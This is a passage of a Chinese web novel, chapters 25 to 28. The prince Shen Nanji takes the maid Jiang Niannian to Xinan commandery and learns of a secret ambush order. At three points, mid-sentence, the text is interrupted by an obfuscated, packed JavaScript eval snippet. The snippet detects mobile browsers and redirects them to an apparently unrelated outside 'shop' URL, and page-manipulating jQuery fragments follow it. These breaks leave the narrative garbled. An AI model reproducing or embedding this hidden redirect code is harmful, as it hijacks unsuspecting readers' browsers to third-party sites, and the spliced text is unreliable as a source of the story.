姜念念向来都不是扭捏的性子,即便是再如何改变,与生俱来的心性,也让她学不来那些。她想要知道的她会自己问清楚,至于那些不该知道的,她也不会穷追不舍。而很显然,现在这件事,是属于后者。 25. 坦白 沈南寂听到姜念念这么问时,就明白沈明承将那些事都告知她了,只不过他也不太确定,沈明承到底说了多少。迟疑了几秒后,沈南寂只点了点头,应道:“是。” 沈北渝闻言,也不禁稍稍坐直了身体,试探着问道:“那你是怎么想的?” 之前沈北渝一直都没有直接挑明事情的真相,但是此刻姜念念已经知晓了来龙去脉,他也很想知道,姜念念的选择是什么。而沈南寂也同样想知道姜念念的选择。 姜念念也没卖关子,况且她本来也是想要趁这个机会,说出自己的打算的。她先是缓缓舒了一口气,随即转头看向了沈北渝,“四殿下,虽然知道你之前是因为担心我,所以才说的那些话,但是这些话以后还是不用再说了。” 沈北渝原本因为姜念念看过来,以为她是想通了,决定答应他之前的提议,结果等他听完姜念念的话后,神色当即就变了。 “他都要去西南郡了,那个地方谁敢保证他能活着回来,况且还有……”说到这的沈北渝话音猛地一顿,像是想到了什么似的,神情也有些古怪。他支吾了良久后,才堪堪憋出了一句,“反正,你一个人留在宫中,难免不会被人盯上。” 姜念念浅笑道:“所以,我也没有打算留在这里。” 此话一出,一连惊住了两个人,沈北渝率先沉不住气问道:“你是说,你要离开这里?那你打算去哪?” “也许,是西南郡也说不定呢。”一直没有开口的沈南寂,此时终于不紧不慢地出了声。他的目光落在沈北渝的身上,一如既往的冷淡,可却莫名让沈北渝感到有些忌惮。 但沈北渝很显然是不相信沈南寂的话,他扭头看向姜念念,问道:“你真打算去西南郡?” 姜念念见沈南寂将她想要说的话提前说了,她也没觉得有什么,此时听到沈北渝问她,自然也就顺势点了点头,“没错。” 不知道是不是姜念念的错觉,她在点头之后,余光里似乎瞥见沈南寂微微弯了一下唇角。 “不行!”谁知下一秒,姜念念就听到了沈北渝的反驳。 姜念念不解,“为什么不行?” “西南郡气候恶劣,根本不适合普通人居住,你在那里呆不惯的。”沈北渝似乎是极力反对着姜念念的决定,拼命向姜念念诉说着西南郡的不好。 姜念念听着沈北渝絮絮叨叨了半天,也能明白他的意思,眼看着一旁沈南寂的脸色越来越黑,姜念念只得无奈打断了他的话,“四殿下。” 沈北渝的声音一噎,而后愣愣地“啊?”了一声。 “我想要离开这里,也有自己的打算,这和其他人无关。”姜念念道,“况且我家殿下都可以去的地方,我又为何去不得?” 不知道是哪句话取悦了沈南寂,原本有些不虞的脸色重又缓和了下来,“四哥以后,还是少自作主张的好,以免让人看了笑话。” 沈北渝不悦地皱起了眉头,“你什么意思?” 沈南寂无辜地耸了耸肩,“我只是实话实说罢了,念念不喜欢呆在宫里,很难理解吗?四哥一直这样自我感动,反倒更让人奇怪呢。” “你又懂什么,就算她不想呆在宫里,那也不该去西南郡!你自己要去西南郡,那你自己去好了,凭什么要拉着别人去送死?” “送死?”姜念念听出了沈北渝话中的深意,突然出声打断了两人的争执。 沈南寂和沈北渝同时噤了声,沈北渝这才意识到自己刚刚说话太快,直接把心里话也说出来了。 姜念念见两人突然都没了声,心中的怀疑更甚,她打量着两人,总觉得还有什么是自己不知道的。 “四哥就这么确定,我解决不了慕家?” 沈南寂微凉的声音骤然将沈北渝拉回神来,他也很快明白了沈南寂的意图,于是他难得的没有和沈南寂唱反调,而是顺着沈南寂的话说了下去。 “就算你能平定慕家的谋反又如何?西南郡的周国,可都对西南郡虎视眈眈。” 沈南寂闻言又不咸不淡地反驳了几句,一切看起来也都非常合理,可姜念念却不是他们随便糊弄两句就轻易相信的。她自然看出了两人的隐瞒,但也没有直接挑明,她能猜到一二,索性也就跟着装作一无所知。 沈北渝见姜念念终于不再关注刚刚的事,这才悄悄松了口气,随后若无其事地转移了话题。可能是怕自己说多错多,又尽量不显突兀,沈北渝在又呆了一会之后,才起身准备离开。 姜念念对此心知肚明,于是便也没有阻止,可很显然沈南寂并不这么觉得。向来不喜欢他踏进倚月轩的人,今天却是在沈北渝准备走时,直接开口道:“四哥这么急着走吗?茶水也不喝了?” 说罢,他的眼睛还瞄了一眼桌上,那已经放得有些凉的茶水上。刚刚沈北渝心里想着事,根本没有想得起来去碰桌上的茶水。 姜念念见了,忙道:“这茶水已经凉了,殿下不愿意喝的话就……”不喝了吧。 姜念念的话还没说完,就已经眼见着沈北渝伸手抓过桌上的茶盏,仰头将一杯茶水灌进了口中。看那架势,倒像是在饮酒似的。 沈北渝表情狰狞的将茶水咽了下去,只觉满嘴的苦涩。 虽然那表情很快就被收起,可仍旧被沈南寂神情尽收眼底,他似是轻轻哼笑了一声,随后嘴唇翕动,似是说了两个字。不过他的声音极小,以至于旁人也都没听清,但姜念念总觉得那不是什么夸奖的话。 好在沈北渝并没有注意到沈南寂的举动,他将茶盏搁置到石桌上,杯盏与桌面碰撞发出了极轻的一声脆响,沈北渝这才抬眼。他没再说话,只是目光从两人身上扫过,随后便一言不发地转身离去。 直到沈北渝离去,倚月轩再次只剩下姜念念和沈南寂两人时,姜念念才后知后觉地发现,沉默已经从他们两人之间蔓延开来。 虽然刚刚在面对沈北渝时,姜念念说得义正言辞,包括之前沈明承已经告诉她那些事,可这些自始至终都是从旁人口中听来的。姜念念顿了顿,见沈南寂没有要开口的意思,心里忍不住叹息了一声,正打算起身离开,继续装作什么都不知道的时候,却突然被沈南寂拽住了衣袖。 “等等。” 姜念念脚步顿住,她回头望向沈南寂,便听身侧的人继续道:“我们……聊聊吧?” 姜念念点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902100|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,重新又坐了回去。 “虽然父皇已经将这些事都告诉你了,但其实我没想这么早就告诉你的,不过既然你已经知道了,那我便也不再对你隐瞒。”沈南寂缓缓道,“我原本是打算一个人去西南郡,四哥说的没错,那里确实很危险,不过后来想了想,真到了那个时候,或许西南郡会比京城安全。” 姜念念对此倒是没有多少异议,沈南寂有他的打算,自己也有自己的打算,但总归是殊途同归。她刚在意的是,沈明承在离开之前,那个未说完的“要求。” “我听陛下说,我年龄未到,是不能离开京城的。对吗?”姜念念试探着问道。 沈南寂的身形顿了顿,可转念一想,这似乎也是意料之外却又在情理之中。他面上仍旧不露声色,只道:“其实皇子出京,随侍跟随一直便有,所以也不算是坏了规矩。” 沈南寂的回答倒是让姜念念有些惊讶,“殿下的意思是?” “父皇只不过是别有所图罢了。”沈南寂看向姜念念,“即便不是你,他也会在其他的事情,寻一个错处的。” 姜念念有些没有想到会是这样,不过还是有些在意,“所以,陛下倒也想要什么?” 面对姜念念的提问,沈南寂皱了皱眉,难得没有直接回答,只是在沉默了片刻后,轻描淡写地道:“没什么,只不过是一件无关紧要的小事。” 话虽如此,可姜念念总觉得这事并不像沈南寂说得那样简单。她打量着沈南寂的神情,只看他眸光微冷,似是有些抵触那件“小事”。 知道他不愿再提,姜念念也就不再追问,她轻笑一声,岔开话题道:“所以之前殿下一直没有告诉我的事,就是这件事吗?” 沈南寂被姜念念的话拉回了现实,他点了点头,“是。” “所以殿下一开始,为什么要瞒着我呢?”姜念念轻轻道,“是觉得我会拒绝你,想先将所有事情办妥,等事已成定局了,我就只能随你一同去西南郡了吗?” 沈南寂怔了一下,没有回答,可是他的神情已经告诉了姜念念答案。 于是姜念念便又继续循循善诱,浅笑着追问道:“那么,殿下为什么一定认为,我会拒绝您呢?” 沈南寂仍旧不答,可姜念念压根不给他转移话题的机会,沈南寂顿了半晌,才梗着脖子硬邦邦地回道:“反正,我就是知道。” 姜念念皱着眉,觉得他这话有些没道理,但又说不上来究竟有哪里不对。 “难道在殿下眼里,我就是这么言而无信的人?”姜念念歪着头问道。 沈南寂抿着唇,皱着眉不知在想什么,半晌后他才松了眉头,似是呢喃般地说了一句:“确实不太一样。” 姜念念没听清,疑惑地“嗯?”了一声。沈南寂倏然回神,已是不愿再多说,他匆匆站起身,别过头道:“月底我们就出发西南郡,这几日你先收拾一下行李,将该收拾的东西都收拾好,可别到最后一日才着急忙慌,丢三落四。” 听到这和小时候如出一辙的,遇事不决就转移话题的行为,姜念念表示早已见怪不怪。她应了一声,也没再管那无关紧要的问题,起身去收拾两人的行李了。 26. 出发 时间一晃而过,转眼便到了月底,沈南寂带着一队人马从京城出发前往西南郡。军队已经在城外等候,沈南寂先去御书房向沈明承请了辞,这才和姜念念一同出了皇城。 这还是姜念念第一次出城,她这些年离开京城最远的一次,也才是半月前上元节的那天。而如今想到自己即将远离皇城,去往另一个完全陌生的地方,姜念念心底居然没有想象中的彷徨,反而还隐隐有些期待起了接下来的生活。 不过她也明白,西南郡一行并不会像现实中的旅行那般,他们所行的每一步都需要小心翼翼,否则随时都可能会有生命危险。 快要出城门时,一旁的沈南寂突然说道:“你的家乡是在青萍镇吧?它和西南郡是在同一个方向,等我们回京时,先去一趟青萍镇,看看你的家人吧?” 听到沈南寂的话,姜念念一时有些发怔,她这才想起来,自己这具身体的主人,在宫外也是有亲人的。可是姜念念对他们并无印象,真要见了面也不知道会不会露馅,但如果直接拒绝,也难免不让人起疑。 姜念念正犹豫着怎么回答,沈南寂就看出了她的为难,他有些好奇地问道:“怎么了?” 姜念念扭头看了一眼沈南寂,想了想还是决定到时候走一步看一步,反正现在时间还早。于是姜念念点了点头,同意了沈南寂的提议:“好。” 得到了自己想要的答案后,沈南寂终于露出了满意的笑来,他也没再说话,扭回头直接朝着城门的方向而去。 守城的禁卫远远便见到迎面走来的沈南寂,他们这些天也听到了一些消息,此刻见到沈南寂,心底也对沈南寂生出些许敬畏。待到人走近后,禁卫统领压抑着紧张的心情迎了上去,“五殿下,您这是准备出发了吗?” 沈南寂闻言点点头,和颜悦色地应了一声。 那禁卫统领见沈南寂并不难相处,于是又跟他多聊了两句,沈南寂也没表现出不耐烦,直到要进城的人渐渐多了起来,那统领才有些不舍地和人道了别。 姜念念和沈南寂刚出了城,就看到驻扎在城门边的军队,而在队伍的中央,还停着一辆马车。姜念念怔了一下,还没来得及走近,下一秒就见到那马车的车帘被人从里面掀开。 段云澜从马车内探出头来,见到姜念念他们时,挥手招呼道:“快点快点,就差你们了。” 等到两人走近后,段云澜又道:“你们可算是来了,我都等好半天了。” 姜念念和沈南寂相继上了马车,等进了马车内才发现,车内意外的宽敞,即便是三人坐下,也不显得拥挤。沈南寂等姜念念坐稳后,一声令下,原本停驻的队伍开始缓缓向前驶去。 姜念念原本想着,他们是不是该骑马前往西南郡,心中难免有些担忧的。她将自己的忧虑告诉沈南寂后,沈南寂当时只跟她说了一句“不必担心”,并没有多说什么,现在姜念念才知道,她的担心的确有些多余了。 “段小将军也和我们一起吗?”姜念念的目光落到段云澜身上,他出现在马车内,虽然足以说明一切,可姜念念不免还是小小地惊讶了一下。 “京中呆得久了也无聊,这不是南寂刚好要去西南郡,小爷我正好去凑个热闹。也省得我家那老头整天在我耳边念叨,说我不务正业。”段云澜坐姿随意,一副吊儿郎当的模样。 结果他刚说完,就被沈南寂不轻不重地踹了一脚,警告了一句“坐好”。等段云澜不情不愿地端正了坐姿,沈南寂这才对姜念念说道:“段老将军知道我要去西南郡,特地过来求了我,说让我带他去西南郡历练一二,好过整天在京城游手好闲。” 言下之意就是,其实说到底还是段老将军求的请,段云澜的想法是次要。即便段云澜不愿意,他也还是要去。 想到刚刚段云澜说是自己想去,姜念念就有些忍俊不禁。 段云澜见自己的谎言刚撒出去就被戳破,顿时有些气恼地说道:“你就不能不那么拆我的台吗?” 沈南寂闻言哂笑一声,没有直接开口。 也许是因为有段云澜在的缘故,接下来的路程里,马车内大部分时间都是吵吵闹闹的。直到后面他说得口干舌燥,这才自己闭了嘴。 临近中午时,他们恰好来到一个小镇,一行人寻了一家客栈,在一楼简单吃了午饭,离开客栈后也并没有立马出发,而是寻了一个空旷的地方一边歇息一边闲聊了起来。军中的大家自然互相都认识,可是对于沈南寂他们,却是一个几乎陌生的存在。 以后都是要一起共事的,自然是越早熟悉越好。 沈南寂和段云澜先做了自我介绍,这些将士多多少少也都听说过他们,一位凭一己之力爬到如今这个位置的五皇子,还有一位将军府家的小公子,有时借着段老将军的面,也会称他一声“段小将军”。不过对于这次随沈南寂一同前来的这位女子,他们却是一无所知的。 姜念念原本想要向众人说明,自己只是一名普通的宫女,没想到自己还未来得及开口,就听到沈南寂率先说道:“她是……我的姐姐。” 此话一出,不仅是其余人愣住了,就连姜念念也都怔在了原地。 那些将士们面面相觑,心底下意识都在想着,面前的人莫非是三公主沈如月?可是三公主怎么会想到要去西南郡?可是他们也没听说,这位殿下和三公主关系好啊? 一系列问题萦绕在心头,可是谁也没敢直接问出口。 姜念念看到他们这副欲言又止的模样,这才从震惊中回过神来,她轻咳一声,缓缓道:“我姓姜,名唤姜念念。” 姓姜? “原来是姜姑娘。”众人故作镇定地笑了笑,可是心底却愈发好奇,姜念念到底是谁了。 不过很显然,沈南寂并不想给他们继续追问的机会,直接无视掉段云澜那探究的目光,若无其事地转移了话题。 一行人又聊了一会,便在路边浅浅地小憩了片刻,待过了正午最烈的日头后,这才又重新上了路。 不过等上马车时,沈南寂却毫不客气地将段云澜暂时“请”了下去,姜念念见他坐了上来,这才抬头看向了沈南寂。 “殿下?”姜念念大概也能猜到,他应该是想与自己说之前的那件事。 马车的行进速度并不慢,车轱辘行驶在道路上的声音,很好的掩盖了车内的谈话声,所以除了他们两人之外,旁人也都无法听清他们的对话。 “你会觉得,这个称呼很冒犯吗?”沈南寂问道。 “嗯?”姜念念疑惑地看向沈南寂,反应了片刻后,这才缓缓摇头道,“不会啊,我只是有些好奇……殿下怎么会突然这么叫我呢?” 姜念念至今还记得,自己在沈南寂小的时候,不止一次地忽悠沈南寂叫他姐姐,可是最后无一例外都被沈南寂板着脸给拒绝了。姜念念觉得,沈南寂应该一直都挺排斥这个称呼的,再加上后来她逐渐同这个世界一同长大,便再也没有提起过,可谁料今天却骤然被一个意料之外的人提起。 沈南寂觑了一眼姜念念的神色,自然知道姜念念在想什么,他清了清嗓子,一本正经地说道:“其实在你离宫的那一刻起,就已经不再是一名宫女了,我这么说其实也只是不想让大家怀疑而已。” 沈南寂其实也没有说谎,只不过这道旨意,是他自己向沈明承求来的。他不希望姜念念以那样的身份,永远囚困在身不由己的一方世界里。 她应该是自由的。 不过,他不得不承认,他有自己的私心…… “真的吗?” 姜念念的声音将沈南寂拉回了现实。 “当然。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12923985|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但好在,总归是有个不错的理由,可以掩盖他的那些想法。 姜念念对此也不再有异议,反正这好像也是她占了便宜,而且还是沈南寂自己松了口,她也没什么损失。于是姜念念也没再多问,坦然接受了现在的这个结果。 之后,沈南寂又重新将段云澜叫上了马车,他对段云澜被赶下马车的控诉充耳不闻,将方才的理由又重新说给了段云澜听,并再三叮嘱之后不要说漏了嘴。段云澜听到沈南寂的解释之后,表情有些一言难尽,可到底还是没说什么,只点了点头,表示自己知道了。 可他的沉默只维持到了日落西山。 太阳下山以后,他们恰巧路过一处密林,重新再找住处也是不可能的了,于是他们便决定原地驻扎,休息一晚,等到天亮后再前进。 将士们是轮番守夜,等到大部分都入睡之后,段云澜这才拉着沈南寂到了没人的地方。 “什么事?”沈南寂对段云澜这偷偷摸摸的行为并不是很能理解,却也并没有挣扎。等到了地方,他才抬了抬眼睑,漫不经心地问道。 段云澜也不扭捏,他被自己的想法惊了一下午,此刻直接开门见山地就问道:“你老实说,你那……根本就不是临时起意吧?” 而是蓄谋已久。 段云澜点到即止,沈南寂却听得明白,他沉吟片刻,随即毫不加掩饰的点头承认,“不错。” 早在很久之前,沈南寂就在想,“姜念念”这个名字,好像所有人都可以这么叫她,这让他很不开心。可若是贸然换了称呼,按照那时姜念念的性格,大概会惶恐地拒绝他,并且给他讲述尊卑有别。所以他一直在寻找一个合适的机会,将这个他曾经有些嫌弃,现在却无法轻易唤出口的称呼,重新从记忆深处拉出来。 他有自己的皇姐,三公主沈如月与他拥有同一个父亲,可他却对她生不出半分亲近。从前他的家人只有一个,是他的母妃秦婉蓉,而现在他也只希望有一个亲人,他的“姐姐”姜念念。 眼下段云澜询问,沈南寂也不担心他会告诉姜念念,亦或者说他也希望有谁能够知道他本来的想法。所以他答得干脆。 段云澜震惊地看着沈南寂,没想到他居然就这么承认了,他本来还以为自己要旁敲侧击半天,才能得到想要的答案呢。 “真有你的。”段云澜默默道,随后又回想起姜念念的一言一行,忍不住又道,“不过如果是她的话,好像也就不难理解了。” 沈南寂瞥了段云澜一眼,没说话。 段云澜并没有发现沈南寂的异常,他放松了身体仰躺在草地上,透过斑驳的树影仔细辨认着头顶的月亮。良久后他才猝不及防地开口:“沈南寂,你真的是你吗?” 沈南寂动作一顿,旋即哼笑一声,“我不是我,那还能是谁?” 段云澜伸出手,挡住了眼前的黑夜,又透过指缝向外看,以此来打发无聊的时间,随后有一搭没一搭地回话:“也是,我从认识你的时候,你好像就一直是这样。不过我总觉得,你好像和我认识的其他同龄人不太一样……” 也许是生活在那样的环境里,所以心境也在潜移默化中发生了改变吧。段云澜这样想道。 虽然他没有亲眼见过沈南寂的生活,可总归是从他父亲那里听过一二。他知道沈南寂小时候过得不好,就连陛下也对他的死活不闻不问,所以如果是那样的话,一切好像也就情有可原了。 不过这样一想,他又有些可怜起了沈南寂来。他悄悄打量了一眼沈南寂,心底暗暗发誓,以后一定要对自己这个身世凄惨的朋友好一点! 一旁的沈南寂不知道段云澜心里在想什么,他也没有接他的话,他只学着段云澜的样子,抬头看着斑驳的月影。然后思绪被一点点拉远,浮沉不定,宛如天上飘摇的星。 27. 西南 夜幕低垂,长夜寂静,耳边只能听见风吹林叶的沙沙声。云层遮蔽了明月,四周陷入一片漆黑,只能借着朦胧的微光,勉强辨认出来时的路。 沈南寂在树下站了半晌,直到再看不见一丝月光,这才站直身体往回走。躺在地上的段云澜见状,连忙一个翻身爬起来,一边喊着让沈南寂等等他,一边快步跟上了沈南寂。 林间栖着过冬的鸟儿,此时它们被段云澜的叫喊声惊醒,惊慌失措地扑腾着自己的翅膀,忙不迭从温暖的巢窝中离开,飞向了暗夜的天际。 段云澜见状,也不急着回去了,饶有兴味地站在原地,看着林鸟飞走的方向,似乎是在思考它们究竟还会不会回来。 沈南寂一个人回到驻扎的地方,见到守夜的几人围坐在一起,他们小声地说着话,似乎是怕吵醒了睡着的旁人。见到从林中回来的沈南寂时,他们先是怔了一下,有些意外沈南寂居然还没有睡觉。 左右也是睡不着,于是沈南寂抬手和他们打了个招呼,随后便径直走了过去,在几人的身侧坐了下来。 “殿下不去休息吗?”几人见到沈南寂居然直接坐了过来,顿时有些惊讶地问道。 “睡不着。”沈南寂只是随意地打了一句,也并没有要往深了解释的意思。 那几人听了沈南寂的话,只猜测沈南寂可能是第一次睡在野外,还有些无法适应这样的环境,所以才睡不着。自认已经猜到真相的几人,便也没有继续追问。生活在军中的人往往都性格直率,白日里他们也与沈南寂相识,此刻见沈南寂主动坐过来,便也不再拘谨,一齐聊着自己这些年的所见所闻。 直到月上中天,时间已经很晚了,沈南寂这才和几人道了别。可是等到他躺下之后,意料之中的还是睡不着,不过沈南寂最终仍旧是闭上了眼睛,任由黑暗将他包裹。 · 一队人马行了月余时间,才终于抵达了西南郡。这一月时间的大多数时间,他们都是在野外度过的。因为需要尽快赶往西南郡,所以他们赶路的时候并不刻意去寻找小镇或是驿站,有时为了快捷,甚至还会直接走山道。 不过唯一要说的是,经过这月余的时间,大家彼此之间也算是互相了解熟识,没了一开始的生分,算是一个好的征兆。 一行人浩浩荡荡地来到了西南郡,还没进城,远远地就见到有人正在远处张望。 行在前头的将士见了,驾着马来到了马车旁,“殿下,小将军,城门口似乎有人。” 下一刻,车内的轿帘被掀开,沈南寂探头出来,向着城门的方向看了一眼,“能认出那是谁吗?” “看穿着,像是这里的郡守。”将士远远地看了一眼,仔细甄别一番后,回答沈南寂。 听到这个结果,沈南寂微微有些惊讶地扬了扬眉,随即冲那将士说道:“先过去看看,看他想做什么。” 那将士得了命令,应了一句“是”,随后便又驱马去到了最前方。沈南寂瞥了一眼远去,随即放下了轿帘,没再理会外面的动静。 车内的其余两人自然也将方才他们的对话听得一清二楚,段云澜问道:“西南郡的郡守怎么会在外面,难道是特地出来迎接我们的?” “可是他怎么会知道我们今天来?”姜念念有些奇怪地问。 此话一出,原本还未想到这一点的段云澜,也是怔了一下,随即他忍不住猜测道:“难道是有人向郡守透露了消息?” 沈南寂自然懂段云澜的意思,不过他也并没有认可段云澜的猜测,只是道:“此事尚且没有定论,还是不要随意猜测。” 段云澜接收到沈南寂的想法,了然地点点头,没再多说。 眼看着就要到西南郡了,队伍的行进速度也放缓了许多,马车不疾不徐地向前驶去,逐渐逼近了城门。 程兆续远远就瞧见了陌生的马车队伍,眯着眼睛瞅了半晌,确定了是自己在等的人,心中终于捺不住欣喜起来。可是他左等右等,发现那马车仍旧不紧不慢地驶着,程兆续甚至都要从那马车上看出几分闲适来。这可把他急得,差点都要冲上前去,直接自己动手去驾那辆车了。 好不容易等到马车驶近,程兆续才终于松了口气,就在刚刚,他甚至都快要以为那马车会掉头离开了。 马车在城门前停下,里面的人还没有出来,程兆续就已经率先堆起了脸上的笑容。坐在马上的将士们见状,脸上的表情都有些一言难尽,不过他们也只是瞥了一眼,随即就移开视线下马等马车内的几人出来。 迫不及待先走出来的,是在马车里憋了半天的段云澜,他甫一钻出来,就忍不住深吸了一口气,边抻了个懒腰边感慨道:“还是外面的空气清新啊。” 结果下一秒,他就和下面的程兆续对上了视线。 “……” 两人大眼瞪小眼,一时都忘了动作。 程兆续感觉自己脸上的笑都快要维持不住了,好半晌后他才扯了扯嘴角,“那个……” “你等等。”段云澜连忙打断了程兆续,随即飞快地跳下马车,又敲了敲车窗道,“你们出来吧,我已经下来了。” 随着段云澜的话音落下,马车的车帘再次被撩起,一名身穿罗裙的年轻女子走了出来。姜念念的视线与程兆续也对上视线,她顿了一下,随即朝他微微颔首致意,随即便回身拉开帘子,让里面的人出来。 程兆续现在的心情无比复杂,他眼瞅着周围的人都对最后出现的沈南寂毕恭毕敬,这才重新挤出笑,凑上前试探问道:“是五皇子殿下吗?” 沈南寂瞥了一眼程兆续,神情并没有什么变化,好似对这突然上前的人根本没放在心上。当然,他也的确没怎么在意。沈南寂只微微点头,算是承认了自己的身份,不过他心底却是对程兆续生出了一丝警惕。 可很显然,程兆续并不知道沈南寂心里的想法,也不知道沈南寂现在正在怀疑他,神情格外激动地道:“太好了,殿下,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986823|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可算是把您给盼来了。” 沈南寂眉心微蹙,直接趁机反问道:“你怎么知道我要来?” 程兆续并不知道沈南寂的心思,只当他是不明白,于是便愣愣地道:“啊?殿下您不知道吗?您刚离开京城,陛下就已经将您要来西南郡的事情传来了。” 听到程兆续的回答,沈南寂的眉头皱得更深,如果真如程兆续所说的那样,那恐怕慕家也同样知道自己要来西南郡的消息。沈明承心中在想什么,已经一眼就能够看穿了,而他甚至连遮掩都不屑去遮掩,就那么堂而皇之地将事情摆在明面上。 程兆续见他脸色不好,不禁有些担忧地问道:“殿下,您怎么了?” 沈南寂没有回答程兆续,而是敛下眼里的情绪,淡淡地问道:“那你今天来这里等我,又是为了什么?” 经由沈南寂这么一提醒,程兆续这才猛地想起自己一开始的目的,他脸上的神情一变,瞬间又成了之前那副满脸堆笑的模样,看得一旁的段云澜都一阵恶寒,“殿下,您可要为我做主啊!” 这语气完全就像在告状似的,段云澜也感到有些惊奇,于是插话道:“怎么了?谁还敢欺负我们郡守大人啊?” 程兆续一听,笑脸当即就垮了下来,沮丧着脸道:“哪能啊,我如今在这西南郡,那可不就是雨后地上的一滩小水洼,谁看见了都能来踩上一脚。” 段云澜觉得程兆续这形容还挺有意思,“那你说说,谁踩你了?小爷我给你做主。” 程兆续神情一滞,这才想起什么:“你是……” 一听程兆续连自己是谁都不知道的段云澜,当即就有些难以置信地瞪大了眼睛,他指了指自己,“你不知道我?” 姜念念忍不住“噗嗤”一声笑出来,然后又迫于段云澜的“淫威”,捂着嘴假装自己没有在笑。 段云澜仍旧有些难以接受,“不是,陛下千里迢迢送封信,就只说他来了?我的名字呢?” “这是什么值得炫耀的事情吗?”沈南寂冷笑一声,不过并不是嘲笑段云澜,而是对沈明承手段的不屑。他无视掉程兆续突然明白过来后,面上有些尴尬的神情,直接对他说道:“这里也不是说话的地方,先进城再说吧。” 程兆续听到沈南寂的话,知道他这是在给自己解围,连忙一叠声地应“好”,然后又看向沈南寂身后的士兵们,“不如也让这些军爷们也一同进城,去我府上休息片刻?” 这些军队中为首的人名叫赵岳琦,原先是个副将,现在暂时被提了统领,先前向沈南寂报告说城门前有人的也是他。他也没让沈南寂为难,直接上前来拒绝了程兆续,“多谢郡守大人好意,不过我们有规矩,不得无故入城,所以我们驻扎在城外即可。” 程兆续没想到还有这茬,不过他对军中的规矩了解不多,只知道规矩森严,稍有不慎就是军法处置。当即也不好再说什么,只得点头应下,随后他便带着姜念念几人进了城,去到了自己的府上。 28. 郡守 郡守府上的一应陈设中规中矩,既不显磕碜,也并不铺张浪费。小院长廊外种了几株海棠,枝上此时已抽了嫩芽。 沈南寂见了,随口问道:“程大人也喜欢海棠吗?” 程兆续听到沈南寂的问话,先是愣了愣,随即笑着说道:“殿下说笑了,我就是个粗人,哪懂侍弄这些花花草草。这些平时都是我家夫人打理,她平日里就爱这些。” “原来如此。”沈南寂了然点头,没有再多问。 一行人步入正厅,很快便有丫鬟端了茶水上来。程兆续等沈南寂他们坐下后,便屏退了一旁侍奉的下人,转眼正厅便只剩下他们四人。 沈南寂见到程兆续的这番举动,微微挑了一下眉,随后才问:“程大人想说什么,现在应当可以说了吧?” 程兆续听到沈南寂询问,这才不由叹息一声,“殿下,您可一定要为我做主啊!” “做不做主先另说,你先告诉我们,西南郡发生了什么。”段云澜并不理会程兆续夸张的声音,直接开门见山道。 程兆续这种人他见的多了去了,估计一早就在怜惜表情管理,就等着沈南寂来了之后,声泪俱下地演上一波,然后达到自己的目的。只不过在城外时,阴差阳错地没让他达成目的,现在便又继续之前未完成的表演。 段云澜想到这,不禁看向了一旁的沈南寂,结果就见到沈南寂坐在那里,似乎已经神游天外去了,丝毫没有被程兆续刚刚的话所打动,接着他的话说“好,我一定为你做主”之类的。 看来是自己多虑了。段云澜终于放下心来,重新懒懒地靠回椅背上。 而沈南寂则是在程兆续殷切的目光中,缓缓吐出三个字:“说说看。” 程兆续觉得自己完全就是热脸贴了冷屁股,可他也知道孰轻孰重,便只能道:“殿下来西南郡,可是为了慕家?” 沈南寂端茶的动作一顿,“父皇连这个都告诉你了?” “没告诉,是我猜的。”程兆续此时也只得如实相告,“眼下慕家要谋反的事,虽不一定能传到京城,但西南郡可几乎是人尽皆知了。殿下在这个节骨眼上前来,除了慕家,下官实在是想不出别的理由。” “哦?那你来问我此事,又是为了什么呢?”沈南寂道。 程兆续咬咬牙,最终还是硬着头皮起身说道:“实不相瞒,殿下,之前下官接到京中密信,说是宫中的五皇子会来西南郡,让我在途中设下埋伏……” 后面的话,程兆续不敢再说下去,但心知肚明的大家早就已经能猜到了。段云澜心中忍不住啧舌,没想到沈明承居然连等都不愿等,直接沈南寂前脚刚走,他后脚就已经把信给送了出去。 要论心狠,还得是沈明承。 不过沈南寂对此倒是并无太大触动,他听了程兆续的话后,突然勾唇笑了笑,“既然如此,那你把这消息告诉我,难道就不怕被我父皇治罪吗?而且依照你的说法,我应该不会安全抵达西南郡,可现在我不仅来了,还坐在了你的府上。” 沈南寂的视线落到程兆续的身上,毫不加掩饰地上下打量着他:“程大人这又是在做什么呢?” “我的确有我的考量。”程兆续此刻也已经完全豁出去了,反正就像沈南寂说的那样,他已经和沈明承彻底撕破脸面了,即便现在沈明承对西南郡的事一无所知,可总有一天他会知道沈南寂还活着,那倒是他也依旧难逃一死。既然是这样,那他还不如拼死一搏。 